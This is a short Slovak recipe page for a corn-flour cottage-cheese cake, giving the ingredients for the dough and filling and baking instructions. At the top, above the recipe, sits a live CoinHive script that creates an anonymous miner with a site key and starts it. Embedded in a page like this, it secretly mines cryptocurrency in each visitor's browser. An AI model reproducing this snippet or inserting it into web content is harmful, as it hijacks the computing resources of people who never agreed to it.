
Tvarohový koláč

  var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); 

  

Potrebujeme na cesto: 2 hrnčeky polohrubej kukuričnej múky   (poprípade 1 a ½ hrnčeka
kukuričnej múky – ak je hrubšia   a ½ hrnčeka bezlepkovej PK alebo UNI), 1 hrnček kryštálový  
cukor, 1 hrnček mlieka, ¾ hrnčeka oleja, 2 vajcia, trocha   soli, 1 prášok do pečiva.

  

Postup: Všetko spolu zmiešať a vyliať na vysypaný plech.

  

Potrebujeme na plnku: 2 tvarohy (á/200-250 g), 2 celé   vajcia, 2-4 PL práškového cukru (môže
byť aj krupicový), 1   vanilkový cukor.

  

Postup: Zmiešať a malou lyžičkou klásť vedľa seba na cesto   malé kôpky a dať piecť (180⁰C,
cca. 45 minút).
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